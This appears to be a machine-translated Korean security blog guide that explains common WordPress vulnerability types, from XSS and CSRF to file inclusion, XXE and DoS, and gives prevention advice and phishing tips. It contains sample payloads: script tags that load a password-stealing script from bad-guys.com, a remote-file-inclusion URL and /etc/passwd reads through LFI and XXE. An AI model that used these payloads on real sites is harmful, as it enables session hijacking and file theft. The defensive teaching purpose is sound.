WordPress 취약점 설명
게시 됨: 2021-01-27불행히도 WordPress 취약점이 존재합니다. WordPress 취약점은 플러그인, 테마, 심지어 WordPress 코어에 존재할 수 있습니다. 그리고 WordPress는 이제 모든 웹사이트의 거의 40%를 지원하므로 취약성을 이해하는 작업이 훨씬 더 중요합니다. 간단히 말해서, 웹사이트의 보안에 대해 경계해야 합니다.
WordPress 보안 전문가가 아닌 경우 다양한 WordPress 취약점을 모두 이해하는 것이 어려울 수 있습니다. WordPress 취약점의 위험과 함께 취약점의 다양한 심각도 수준을 이해하려고 시도하는 것도 압도적일 수 있습니다.
이 가이드는 가장 일반적인 21개의 WordPress 취약점을 정의하고 WordPress 취약점의 심각도를 평가하는 방법을 다루고 해커가 취약점을 악용할 수 있는 방법의 예를 제공하고 이러한 취약점을 방지할 수 있는 방법을 보여줍니다. 뛰어들어봅시다.
WordPress 취약점이란 무엇입니까?
WordPress 취약점은 해커가 악용할 수 있는 테마, 플러그인 또는 WordPress 코어의 약점 또는 결함입니다. 즉, WordPress 취약점은 해커가 악의적인 활동을 제거하는 데 사용할 수 있는 진입점을 만듭니다.
웹사이트 해킹은 거의 모두 자동화되어 있음을 명심하십시오. 이 때문에 해커는 사실상 짧은 시간에 많은 수의 웹사이트에 쉽게 침입할 수 있습니다. 해커는 인터넷을 스캔하여 알려진 취약점을 찾는 특수 도구를 사용합니다.
해커는 쉬운 대상을 좋아하고 알려진 취약점이 있는 소프트웨어를 실행하는 웹사이트를 보유하는 것은 해커에게 단계별 지침을 전달하여 WordPress 웹사이트, 서버, 컴퓨터 또는 기타 인터넷 연결 장치에 침입하는 것과 같습니다.
월간 WordPress 취약점 정리 보고서는 공개적으로 공개된 모든 WordPress 코어, WordPress 플러그인 및 테마 취약점을 다룹니다. 이 검열에서 우리는 취약한 플러그인 또는 테마의 이름, 영향을 받는 버전 및 취약성 유형을 공유합니다.
제로데이 취약점이란?
제로 데이 취약점 은 개발자가 취약점에 대한 패치를 출시하기 전에 공개적으로 공개된 취약점입니다.WordPress 취약점과 관련하여 제로 데이 취약점의 정의를 이해하는 것이 중요합니다. 취약점이 대중에게 공개되었기 때문에 개발자는 취약점을 패치할 제로 데이 가 있습니다. 그리고 이것은 플러그인과 테마에 큰 영향을 미칠 수 있습니다.
일반적으로 보안 연구원은 취약점을 발견하고 소프트웨어를 소유한 회사 개발자에게 비공개로 취약점을 공개합니다. 보안 연구원과 개발자는 패치가 제공되면 전체 세부 정보가 게시될 것이라는 데 동의합니다. 더 많은 사람들이 주요 보안 취약점을 업데이트할 시간을 주기 위해 패치가 릴리스된 후 취약점 공개가 약간 지연될 수 있습니다.
그러나 개발자가 보안 연구원에게 응답하지 않거나 취약점에 대한 패치를 제공하지 않을 경우 연구원은 취약점을 공개하여 개발자에게 패치를 발행하도록 압력을 가할 수 있습니다.
취약점을 공개적으로 공개하고 제로데이를 도입하는 것처럼 보이는 것은 역효과를 불러일으킬 수 있습니다. 그러나 연구원이 개발자에게 취약점을 패치하도록 압력을 가해야 하는 유일한 수단입니다.
Google의 Project Zero에는 취약점 공개와 관련하여 유사한 지침이 있습니다. 그들은 90일 후에 취약점의 전체 세부 정보를 게시합니다. 취약점이 패치되었는지 여부.
취약점은 누구나 찾을 수 있습니다. 개발자가 패치를 출시하기 전에 해커가 취약점을 발견하면 최종 사용자에게 최악의 악몽이 됩니다… 적극적으로 악용되는 제로데이.
적극적으로 악용되는 제로데이 취약점이란 무엇입니까?
적극적으로 악용되는 제로데이 취약점 은 정확히 그 소리입니다. 해커가 표적으로 삼고 공격하고 적극적으로 악용하는 패치되지 않은 취약점입니다.
2018년 말, 해커는 WP GDPR 준수 플러그인의 심각한 WordPress 취약점을 적극적으로 악용했습니다. 이 익스플로잇은 권한이 없는 사용자(다음 섹션에서 자세히 설명)가 WP 사용자 등록 설정을 수정하고 기본 새 사용자 역할을 구독자에서 관리자로 변경할 수 있도록 허용했습니다.
이 해커는 WP GDPR 준수 플러그인 및 보안 연구원보다 먼저 이 취약점을 발견했습니다. 따라서 플러그인이 설치된 모든 웹 사이트는 사이버 범죄자에게 쉽고 확실한 표시였습니다.
제로데이 취약점으로부터 자신을 보호하는 방법
제로데이 취약점으로부터 웹사이트를 보호하는 가장 좋은 방법은 취약점이 패치될 때까지 소프트웨어를 비활성화하고 제거하는 것입니다. 고맙게도 WP GDPR 준수 플러그인 개발자는 공개적으로 공개된 다음 날 신속하게 조치를 취하여 취약점에 대한 패치를 출시했습니다.
패치되지 않은 취약점으로 인해 웹사이트가 해커의 표적이 되기 쉽습니다.
인증되지 않은 WordPress 취약점과 인증된 WordPress 취약점
WordPress 취약점에 대해 이야기할 때 익숙해져야 하는 두 가지 용어가 더 있습니다.
- 인증 되지 않음 – 인증되지 않은 WordPress 취약성은 누구나 취약성을 악용할 수 있음을 의미합니다.
- 인증됨 – 인증된 WordPress 취약점은 악용하려면 로그인한 사용자가 필요함을 의미합니다.
인증된 사용자가 필요한 취약점은 특히 관리자 수준의 권한이 필요한 경우 해커가 악용하기 훨씬 어렵습니다. 그리고 해커가 이미 관리자 자격 증명 세트를 손에 넣은 경우에는 취약점을 악용하여 혼란을 일으킬 필요가 없습니다.
한 가지 주의사항이 있습니다. 일부 인증된 취약성은 악용하기 위해 구독자 수준 기능만 필요합니다. 귀하의 웹사이트에서 누구나 등록을 허용하는 경우 이는 인증되지 않은 취약점과 큰 차이가 없습니다.
19가지 일반적인 WordPress 취약점 설명
WordPress 취약점과 관련하여 21가지 일반적인 유형의 취약점이 있습니다. 이러한 WordPress 취약점 유형을 각각 다루겠습니다.
1. 인증 우회
인증 우회 취약점으로 인해 공격자는 인증 요구 사항을 건너뛰고 일반적으로 인증된 사용자를 위해 예약된 작업을 수행할 수 있습니다.
인증은 사용자의 신원을 확인하는 프로세스입니다. WordPress는 사용자가 자신의 신원을 확인하기 위해 사용자 이름과 암호를 입력하도록 요구합니다.
인증 우회 예
애플리케이션은 고정된 매개변수 집합을 기반으로 인증을 확인합니다. 공격자는 일반적으로 인증이 필요한 웹 페이지에 액세스하기 위해 이러한 매개변수를 수정할 수 있습니다.
이와 같은 매우 기본적인 예는 URL의 인증 매개변수입니다.
https:/my-website/some-plugint?param=authenticated¶m=no
위의 URL에는 값이 no인 인증 매개변수가 있습니다. 따라서 이 페이지를 방문하면 이 페이지의 정보를 볼 권한이 없음을 알리는 메시지가 표시됩니다.

그러나 인증 검사가 잘못 코딩된 경우 공격자는 개인 페이지에 대한 액세스 권한을 얻기 위해 인증 매개변수를 수정할 수 있습니다.
https:/my-website/some-plugint?param=authenticated¶m=yes
이 예에서 해커는 URL의 인증 값을 yes로 변경하여 페이지를 보기 위한 인증 요구 사항을 우회할 수 있습니다.

인증 우회 방지를 방지하는 방법
이중 인증을 사용하여 Broken Authentication 취약점으로부터 웹사이트를 보호할 수 있습니다.
2. 백도어 취약점
백도어 취약점은 승인된 사용자와 승인되지 않은 사용자 모두가 일반적인 보안 조치를 우회하고 컴퓨터, 서버, 웹사이트 또는 애플리케이션에 대한 높은 수준의 액세스 권한을 얻을 수 있도록 합니다.
백도어 예
개발자는 백도어를 생성하여 관리자로서 코드 코딩과 테스트 사이를 빠르게 전환할 수 있습니다. 불행히도 개발자는 소프트웨어가 대중에게 공개되기 전에 백도어를 제거하는 것을 잊었습니다.
해커가 백도어를 찾으면 진입점을 악용하여 소프트웨어에 대한 관리자 액세스 권한을 얻을 수 있습니다. 이제 해커는 관리자 액세스 권한이 있으므로 맬웨어를 삽입하거나 중요한 데이터를 훔치는 것과 같은 모든 종류의 악의적인 작업을 수행할 수 있습니다.
백도어를 방지하는 방법
많은 백도어가 보안 구성 오류라는 한 가지 문제로 요약될 수 있습니다. 보안 구성 오류 문제는 코드에서 사용하지 않는 기능을 제거하고 모든 라이브러리를 최신 상태로 유지하며 오류 메시지를 보다 일반화하여 완화할 수 있습니다.
3. PHP 객체 주입 취약점
PHP 객체 주입 취약점은 사용자가 unserialized()
PHP 함수에 전달되기 전에 삭제되지 않은(불법 문자가 제거되지 않은) 입력을 제출할 때 발생합니다.
PHP 객체 주입 예제
다음은 원래 sumofpwn에서 보고한 샘플 광고 관리자 WordPress 플러그인의 PHP 개체 삽입 취약점의 실제 예입니다.
이 문제는 플러그인 sam-ajax-loader.php
파일에서 unserialize() 에 대한 두 개의 안전하지 않은 호출로 인해 발생합니다. 아래 코드에서 볼 수 있듯이 입력은 POST 요청에서 직접 가져옵니다.
if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;
이 문제로 인해 공격자가 악성 코드를 입력하고 실행할 수 있습니다.
PHP 객체 주입을 방지하는 방법
사용자 제공 입력과 함께 unserialize()
함수를 사용하지 말고 대신 JSON 함수를 사용하십시오.
4. 사이트 간 스크립팅 취약점
XSS 또는 Cross-Site Scripting 취약점은 웹 응용 프로그램에서 사용자가 URL 경로에 사용자 지정 코드를 추가하도록 허용할 때 발생합니다. 공격자는 이 취약점을 악용하여 피해자의 웹 브라우저에서 악성 코드를 실행하거나, 악성 웹사이트로 리디렉션하거나, 사용자 세션을 하이재킹할 수 있습니다.
반영된 XSS에는 세 가지 주요 유형이 있습니다. 저장 및 DOM 기반
5. 반영된 교차 사이트 스크립팅 취약점
Reflected XSS 또는 Reflected Cross-Site Scripting은 악성 스크립트가 클라이언트 요청(브라우저에서 사용자가 만든 요청)에서 서버로 전송되고 서버에서 다시 반사되어 브라우저에서 실행될 때 발생합니다.
반영된 교차 사이트 스크립팅 예제
yourfavesite.com
에서 웹사이트의 일부 콘텐츠를 보려면 로그인해야 한다고 가정해 보겠습니다. 그리고 이 웹사이트가 사용자 입력을 제대로 인코딩하지 못했다고 가정해 보겠습니다.
공격자는 악성 링크를 만들어 이메일 및 소셜 미디어 게시물에서 yourfavesite.com
사용자와 공유하여 이 취약점을 이용할 수 있습니다.
공격자는 URL 단축 도구를 사용하여 악성 링크를 위협적이지 않고 클릭하기 yourfavesite.com/cool-stuff
합니다. yourfavesite.com/cool-stuff
. 그러나 단축 링크를 클릭하면 브라우저 yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js
에서 전체 링크를 실행합니다.
링크를 클릭하면 yourfavesite.com
으로 이동하고 악성 스크립트가 브라우저에 다시 반영되어 공격자가 세션 쿠키와 yourfavesite.com
계정을 가로챌 수 있습니다.
반사된 교차 사이트 스크립팅을 방지하는 방법
OWASP 크로스 스크립팅 방지 치트 시트의 규칙 #5는 HTML URL 매개변수 값에 신뢰할 수 없는 데이터를 삽입하기 전에 URL 인코딩입니다. 이 규칙은 신뢰할 수 없는 데이터를 HTTP GET 매개변수 값에 추가할 때 반영된 XSS 취약점이 생성되는 것을 방지하는 데 도움이 될 수 있습니다.
<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
6. 저장된 교차 사이트 스크립팅 취약점
Stored XSS 또는 Stored Cross-Site Scripting 취약점을 통해 해커는 악성 코드를 웹 응용 프로그램 서버에 주입하고 저장할 수 있습니다.
저장된 교차 사이트 스크립팅 예제
공격자는 yourfavesite.com
방문자가 사이트의 댓글 섹션에 HTML 태그를 포함할 수 있도록 허용한다는 것을 발견했습니다. 따라서 공격자는 새 주석을 작성합니다.
좋은 기사! 이 다른 훌륭한 <script src=”http://bad-guys.com/passwordstealingcode.js>
기사를 확인하십시오. </script>
이제 우리의 나쁜 사람이 댓글을 추가했으므로 이 페이지의 모든 향후 방문자는 악성 스크립트에 노출될 것입니다. 이 스크립트는 나쁜 사람의 웹사이트에서 호스팅되며 방문자 세션 쿠키와 yourfavesite.com
계정을 yourfavesite.com
있습니다.
저장된 교차 사이트 스크립팅을 방지하는 방법
OWASP 크로스 스크립팅 방지 치트 시트의 규칙 #1은 HTML 요소에 신뢰할 수 없는 데이터를 추가하기 전에 HTML로 인코딩하는 것입니다.
<body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
<div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
스크립트, 스타일 또는 이벤트 핸들러와 같은 실행 컨텍스트로의 전환 을 방지 하기 위해 다음 문자를 인코딩합니다 . 사양에서는 16진수 엔터티를 사용하는 것이 좋습니다.
& --> & < --> < > --> > " --> " ' --> '
7. 문서 객체 모델 기반 크로스 사이트 스크립팅 취약점
DOM 기반 XSS 또는 문서 개체 모델 기반 교차 사이트 스크립팅 취약점은 웹 사이트의 클라이언트측 스크립트가 사용자 제공 데이터를 DOM(문서 개체 모델)에 쓸 때 발생합니다. 그런 다음 웹 사이트는 DOM에서 사용자 날짜를 읽고 방문자의 웹 브라우저에 출력합니다.
사용자가 제공한 데이터가 제대로 처리되지 않으면 공격자는 웹사이트가 DOM에서 코드를 읽을 때 실행될 악성 코드를 삽입할 수 있습니다.
문서 개체 모델 기반 교차 사이트 스크립팅 예제
DOM XSS 공격 사용자 정의 시작 페이지를 설명하는 일반적인 방법입니다. 계정을 만든 후 yourfavesite.com
이 아래 코드를 사용하여 이름으로 환영하도록 사용자 정의된 환영 페이지로 리디렉션된다고 yourfavesite.com
해 보겠습니다. 그리고 사용자 이름은 URL에 인코딩됩니다.
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>
따라서 URL은 yourfavesite.com/account?name=yourname
입니다.
공격자는 새 사용자에게 다음 URL을 전송하여 DOM 기반 XSS 공격을 수행할 수 있습니다.
http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>
새 사용자가 링크를 클릭하면 브라우저에서 다음 요청을 보냅니다.
/account?name=<script>alert(document.cookie)</script>
bad-guys.com
. 웹사이트는 위의 자바스크립트 코드가 포함된 페이지로 응답합니다.
새 사용자의 브라우저는 페이지에 대한 DOM 객체를 생성합니다. 이 객체에는 document.location
객체에 다음 문자열이 포함되어 있습니다.
http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>
페이지의 원래 코드는 HTML 마크업을 포함하는 기본 매개변수를 기대하지 않으며, 마크업을 페이지에 반영합니다. 그런 다음 새 사용자의 브라우저는 페이지를 렌더링하고 공격자의 스크립트를 실행합니다.
alert(document.cookie)
DOM 기반 교차 사이트 스크립팅을 방지하는 방법
OWASP Dom 기반 교차 사이트 스크립팅 방지 치트 시트의 규칙 #1은 HTML 이스케이프입니다. 그런 다음 JS는 실행 컨텍스트 내의 HTML 하위 컨텍스트에 신뢰할 수 없는 데이터를 추가하기 전에 이스케이프합니다.
위험한 HTML 메소드의 예:
속성
element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";
행동 양식
document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");
DOM에서 HTML에 대한 동적 업데이트를 안전하게 만들기 위해 OWASP는 다음을 권장합니다.
- HTML 인코딩, 그 다음
- 다음 예제와 같이 신뢰할 수 없는 모든 입력을 인코딩하는 JavaScript:
element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
8. 사이트 간 요청 위조 취약점
CSRF 또는 Cross-Site Request Forgery 취약점은 사이버 범죄자가 사용자를 속여 의도하지 않은 작업을 수행할 때 발생합니다. 공격자는 응용 프로그램에 대한 사용자의 요청을 위조합니다.
사이트 간 요청 위조 예
2020년 1월 WordPress Vulnerability Roundup에서 Code Snippets 플러그인에서 발견된 Cross-Site Request Forgery 취약점에 대해 보고했습니다. (플러그인은 버전 2.14.0에서 빠르게 패치되었습니다)
플러그인의 CRSF 보호 기능이 없기 때문에 누구나 관리자를 대신하여 요청을 위조하고 취약한 사이트에 실행 코드를 삽입할 수 있습니다. 공격자는 이 취약점을 이용하여 악성 코드를 실행하고 전체 사이트 탈취를 수행할 수도 있습니다.
사이트 간 요청 위조 방지 방법
대부분의 코딩 프레임워크에는 CSRF로부터 보호하기 위해 동기화된 토큰 방어 기능이 내장되어 있으므로 사용해야 합니다.
PHP 및 Apache CSRF 취약점을 보호하는 데 사용할 수 있는 CSRF Protector Project와 같은 외부 구성 요소도 있습니다.
9. 서버 측 요청 위조 취약점
SSRF 또는 Server-Site Request Forger 취약점으로 인해 공격자는 서버 측 애플리케이션을 속여 선택한 임의의 도메인에 HTTP 요청을 할 수 있습니다.
서버 측 요청 위조 예
SSRF 취약점을 악용하여 Reflected Cross-Site Scripting 공격을 수행할 수 있습니다. 공격자는 bad-guys.com에서 악성 스크립트를 가져와 웹사이트의 모든 방문자에게 제공할 수 있습니다.
서버 측 요청 위조를 방지하는 방법
SSRF 취약성을 완화하는 첫 번째 단계는 입력을 검증하는 것입니다. 예를 들어, 서버가 다른 파일을 가져오기 위해 사용자 제공 URL에 의존하는 경우 URL을 확인하고 신뢰할 수 있는 대상 호스트만 허용해야 합니다.
SSRF 예방에 대한 자세한 내용은 OWASP 치트 시트를 확인하십시오.
10. 권한 상승 취약점
권한 상승 취약점을 통해 공격자는 일반적으로 더 높은 수준의 권한이 필요한 작업을 실행할 수 있습니다.
권한 에스컬레이션 예
2020년 11월 WordPress Vulnerability Roundup에서 Ultimate Member 플러그인에서 발견된 권한 상승 취약성에 대해 보고했습니다(이 취약성은 버전 2.1.12에서 패치됨).
공격자는 사용자의 역할을 정의하는 wp_capabilities
사용자 메타에 대한 배열 매개변수를 제공할 수 있습니다. 등록 프로세스 동안 제출된 등록 세부 정보가 update_profile
함수로 전달되었으며 제출된 항목에 관계없이 제출된 해당 메타데이터가 새로 등록된 사용자에 대해 업데이트됩니다.
이 취약점은 기본적으로 새 사용자가 등록할 때 관리자를 요청할 수 있도록 허용했습니다.
권한 상승을 방지하는 방법
iThemes Security Pro는 신뢰할 수 있는 장치 목록에 대한 관리자 액세스를 제한하여 Broken Access Control로부터 웹사이트를 보호할 수 있습니다.
11. 원격 코드 실행 취약점
RCE 또는 원격 코드 실행 취약점을 통해 공격자는 컴퓨터나 서버에 액세스하여 변경하고 심지어 인수할 수도 있습니다.
원격 코드 실행 예
2018년 Microsoft는 Excel에서 발견된 원격 코드 실행 취약점을 공개했습니다.
취약점 악용에 성공한 공격자는 현재 사용자의 컨텍스트에서 임의 코드를 실행할 수 있습니다. 현재 사용자가 관리자 권한으로 로그온한 경우 공격자가 영향을 받는 시스템을 제어할 수 있습니다. 그런 다음 공격자는 프로그램을 설치할 수 있습니다. 데이터 보기, 변경 또는 삭제 또는 전체 사용자 권한으로 새 계정을 만듭니다. 시스템에 대해 더 적은 수의 사용자 권한을 갖도록 계정이 구성된 사용자는 관리 사용자 권한으로 작업하는 사용자보다 영향을 덜 받을 수 있습니다.
원격 코드 실행을 방지하는 방법
RCE 취약점을 완화하는 가장 쉬운 방법은 원하지 않는 문자를 필터링하고 제거하여 사용자 입력을 검증하는 것입니다.
모회사인 Liquid Web에는 원격 코드 실행 방지에 대한 훌륭한 기사가 있습니다.
12. 파일 포함 취약점
파일 포함 취약점은 웹 응용 프로그램이 사용자가 파일에 입력을 제출하거나 서버에 파일을 업로드하도록 허용할 때 발생합니다.
파일 포함 취약점에는 로컬 및 원격의 두 가지 유형이 있습니다.
13. 로컬 파일 포함 취약점
LFI 또는 로컬 파일 포함 취약점으로 인해 공격자는 웹 사이트 서버에서 파일을 읽고 때때로 실행할 수 있습니다.
로컬 파일 포함 예
include
문으로 전달된 경로가 제대로 삭제되지 않은 yourfavesite.com
을 다시 살펴보겠습니다. 예를 들어 아래 URL을 살펴보겠습니다.
yourfavesite.com/module.php?file=example.file
공격자가 서버의 임의 파일에 액세스하기 위해 URL 매개변수를 변경할 수 있습니다.
yourfavesite.com/module.php?file=etc/passwd
URL의 파일 값을 변경하면 공격자가 psswd 파일의 내용을 볼 수 있습니다.
로컬 파일 포함을 방지하는 방법
페이지에 포함될 수 있는 파일의 허용 목록을 만든 다음 식별자를 사용하여 선택한 파일에 액세스합니다. 그런 다음 잘못된 식별자가 포함된 모든 요청을 차단합니다.
14. 원격 파일 포함 취약점
RFI 또는 원격 파일 포함 취약점을 통해 공격자는 일반적으로 대상 응용 프로그램에 구현된 "동적 파일 포함" 메커니즘을 악용하여 파일을 포함할 수 있습니다.
원격 파일 포함 예
Spritz가 포함된 WordPress 플러그인 WP는 RFI 취약점이 있기 때문에 WordPress.org 저장소에서 폐쇄되었습니다.
다음은 취약점의 소스 코드입니다.
if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);
이 코드는 content.filter.php?url=
값을 변경하여 악용될 수 있습니다. 예를 들어:
yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
원격 파일 포함 방지
페이지에 포함될 수 있는 파일의 허용 목록을 만든 다음 식별자를 사용하여 선택한 파일에 액세스합니다. 그런 다음 잘못된 식별자가 포함된 모든 요청을 차단합니다.
15. 디렉토리 탐색 취약점
디렉터리 탐색 또는 파일 탐색 취약점으로 인해 공격자는 응용 프로그램을 실행하는 서버에서 임의의 파일을 읽을 수 있습니다.
디렉토리 순회 예
WordPress 버전 5.7 – 5.03은 사용자 입력 데이터를 제대로 확인하지 못하여 디렉터리 탐색 공격에 취약했습니다. 최소한 author
권한이 있는 계정에 액세스할 수 있는 공격자는 디렉터리 탐색 취약점을 악용하고 기본 서버에서 악성 PHP 코드를 실행하여 전체 원격 탈취로 이어질 수 있습니다.
디렉토리 탐색을 방지하는 방법
개발자는 언어 파일을 템플릿화하거나 사용할 때 파일 이름의 실제 부분 대신 인덱스를 사용할 수 있습니다.
16. 악성 리디렉션 취약점
악성 리디렉션 취약점을 통해 공격자는 사이트 방문자를 다른 웹사이트로 리디렉션하는 코드를 삽입할 수 있습니다.
악성 리디렉션 예
온라인 부티크에서 검색 도구를 사용하여 파란색 스웨터를 찾고 있다고 가정해 보겠습니다.
불행히도 부티크의 서버는 사용자 입력을 제대로 인코딩하지 못했으며 공격자는 악의적인 리디렉션 스크립트를 검색어에 삽입할 수 있었습니다.
따라서 부티크의 검색 필드에 파란색 스웨터를 입력하고 Enter 키를 누르면 검색 설명과 일치하는 스웨터가 있는 부티크 페이지 대신 공격자의 웹 페이지가 표시됩니다.
악성 리디렉션을 방지하는 방법
사용자 입력을 삭제하고 URL을 확인하고 모든 오프사이트 리디렉션에 대한 방문자 확인을 받아 악의적인 리디렉션으로부터 보호할 수 있습니다.
17. XML 외부 엔티티 취약점
XXE 또는 XML 외부 엔터티 취약점으로 인해 공격자는 XML 파서를 속여 자신이 제어하는 외부 엔터티에 중요한 정보를 전달할 수 있습니다.
XML 외부 엔터티 예
공격자는 XXE 취약점을 악용하여 사용자 계정 정보를 저장하는 etc/passwd와 같은 민감한 파일에 액세스할 수 있습니다.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
XML 외부 엔터티를 방지하는 방법
XXE 를 방지하는 가장 좋은 방법은 JSON과 같은 덜 복잡한 데이터 형식을 사용하고 민감한 데이터의 직렬화를 피하는 것입니다.
18. 서비스 거부 공격
DoS 또는 DoS( 서비스 거부) 공격은 네트워크 트래픽을 플러딩하여 사용자가 웹 사이트 또는 애플리케이션을 사용할 수 없도록 하려는 의도적인 시도입니다.
DDoS 분산 서비스 거부 공격에서 공격자는 여러 소스를 사용하여 네트워크에 트래픽을 플러딩합니다. 공격자는 맬웨어에 감염된 컴퓨터, 라우터 및 IoT 장치 그룹을 하이재킹하여 트래픽 흐름을 증가시킵니다.
서비스 거부 공격의 예
올해 2월 AWS에 대한 사상 최대 규모의 DDoS(Distributed Denial-of-Service) 공격이 발생했습니다. Amazon은 관리형 위협 보호 서비스인 AWS Shield가 이 거대한 DDoS 공격을 관찰하고 완화했다고 보고했습니다. 공격은 3일 동안 지속되었으며 초당 2.3테라바이트로 정점을 찍었습니다.
서비스 거부 공격을 방지하는 방법
DoS 공격을 완화하는 두 가지 주요 방법이 있습니다.
- 필요한 것보다 더 많은 호스팅을 구입하십시오. 추가 리소스를 사용할 수 있으면 DoS 공격으로 인한 수요 증가에 대처하는 데 도움이 될 수 있습니다.
- Cloudflare와 같은 서버 수준 방화벽을 사용합니다. 방화벽은 트래픽의 비정상적인 급증을 감지하고 웹사이트가 과부하되는 것을 방지할 수 있습니다.
19. 키스트로크 로깅
키로깅 또는 키보드 캡처라고도 하는 키 스트로크 로깅 은 해커가 웹사이트 방문자의 키스트로크를 은밀하게 모니터링하고 기록할 때 발생합니다.
키 입력 로깅의 예
2017년 해커는 스마트폰 제조사 OnePlus의 서버에 악성 JavaScript를 성공적으로 설치했습니다.
공격자는 악성 코드를 사용하여 신용 카드 정보를 입력할 때 OnePlus 고객의 키 입력을 모니터링하고 기록했습니다. 해커들은 OnePlus가 해킹을 감지하고 패치하기 전에 40,000명의 고객의 키 입력을 기록하고 수집했습니다.
키 입력 로깅을 방지하는 방법
모든 것을 업데이트하십시오! 일반적으로 공격자는 컴퓨터나 서버에 키로거를 삽입하기 위해 다른 기존 취약점을 악용해야 합니다. 최신 보안 패치로 모든 것을 업데이트하면 해커가 웹사이트나 컴퓨터에 키로거를 쉽게 설치할 수 없습니다.
보너스: 2개의 사회 공학 및 사용자 취약점
소프트웨어 취약점은 해커와 사이버 범죄자가 악용하려는 유일한 것입니다. 해커는 또한 인간을 표적으로 삼고 착취합니다. 취약점이 될 수 있는 몇 가지 방법을 살펴보겠습니다.
1. 피싱
피싱은 이메일, 소셜 미디어, 문자 메시지, 전화를 사용하여 피해자를 속여 개인 정보를 제공하지 못하도록 하는 사이버 공격 방법입니다. 그런 다음 공격자는 해당 정보를 사용하여 개인 계정에 액세스하거나 신원 사기를 저지릅니다.
피싱 이메일을 탐지하는 방법
이 게시물의 앞부분에서 배웠듯이 일부 취약점은 악용하기 위해 특정 유형의 사용자 상호 작용이 필요합니다. 해커가 사람들을 속여 사악한 시도에 가담하도록 하는 한 가지 방법은 피싱 이메일을 보내는 것입니다.
피싱 이메일을 탐지하는 방법을 배우면 실수로 사이버 범죄자의 계획에 참여하는 것을 방지할 수 있습니다.
피싱 이메일을 탐지하는 4가지 팁 :

- 보낸 사람 이메일 주소 확인 – 회사 에서 이메일 을 받은 경우 보낸 사람의 이메일 주소에서 "@" 뒤에 오는 부분이 회사 이름과 일치해야 합니다.
이메일이 회사 또는 정부 기관을 나타내지만 "@gmail"과 같은 공개 이메일 주소를 사용하는 경우 피싱 이메일의 징후입니다.
도메인 이름의 미묘한 철자 오류에 주의하십시오. 예를 들어, 이 이메일 주소 [email protected]를 살펴보겠습니다. Netflix의 끝에 추가 "x"가 있음을 알 수 있습니다. 맞춤법 오류는 이메일이 사기꾼에 의해 전송되었다는 명백한 신호이므로 즉시 삭제해야 합니다. - 문법 오류 찾기 – 문법 오류가 가득한 이메일은 악성 이메일의 신호입니다. 모든 단어의 철자가 정확할 수 있지만 문장에는 문장을 일관되게 만드는 단어가 없습니다. 예를 들어 "귀하의 계정이 해킹당했습니다. 계정 보안을 위해 비밀번호 업데이트".
모든 사람은 실수를 하며, 한두 개의 오타가 있는 모든 이메일이 사기를 시도하는 것은 아닙니다. 그러나 여러 문법 오류는 응답하기 전에 자세히 살펴봐야 합니다. - 의심스러운 첨부 파일 또는 링크 – 이메일에 포함된 첨부 파일이나 링크와 상호 작용하기 전에 잠시 멈추는 것이 좋습니다.
이메일을 보낸 사람을 알 수 없는 경우 이메일에 포함된 첨부 파일을 다운로드하면 안 됩니다. 이메일에 맬웨어가 포함되어 컴퓨터를 감염시킬 수 있기 때문입니다. 이메일이 회사에서 보낸 것이라고 주장하는 경우 첨부 파일을 열기 전에 연락처 정보를 검색하여 이메일이 해당 회사에서 보낸 것인지 확인할 수 있습니다.
이메일에 링크가 포함된 경우 링크 위로 마우스를 가져가면 URL이 있어야 할 위치로 전송되고 있는지 확인할 수 있습니다. - 긴급 요청에 주의하십시오 – 사기꾼이 사용하는 일반적인 속임수는 긴박감을 조성하는 것입니다. 악성 이메일은 즉각적인 조치가 필요한 시나리오를 만들 수 있습니다. 생각할 시간이 많을수록 사기꾼의 요청을 식별할 가능성이 커집니다.
귀하의 "상사"로부터 최대한 빨리 공급업체에 지불하도록 요청하는 이메일을 받거나 귀하의 은행에서 귀하의 계정이 해킹되어 즉각적인 조치가 필요함을 알리는 이메일을 받을 수 있습니다.
2. 약한 자격 증명
사용자는 가장 큰 WordPress 보안 취약점이 될 가능성이 있습니다.
Splash Data에서 컴파일한 목록에서 모든 데이터 덤프에 포함된 가장 일반적인 비밀번호는 123456이었습니다. 데이터 덤프는 인터넷 어딘가에 덤프된 사용자 비밀번호로 채워진 해킹된 데이터베이스입니다. 123456이 데이터 덤프에서 가장 일반적인 비밀번호인 경우 웹사이트에서 얼마나 많은 사람들이 약한 비밀번호를 사용하는지 상상할 수 있습니까?
91%의 사람들이 비밀번호를 재사용하는 것은 좋지 않은 관행이라는 것을 알고 있지만 59%의 사람들은 여전히 모든 곳에서 비밀번호를 재사용합니다! 이 사람들 중 많은 사람들이 데이터베이스 덤프에 나타난 것으로 알고 있는 암호를 여전히 사용하고 있습니다.
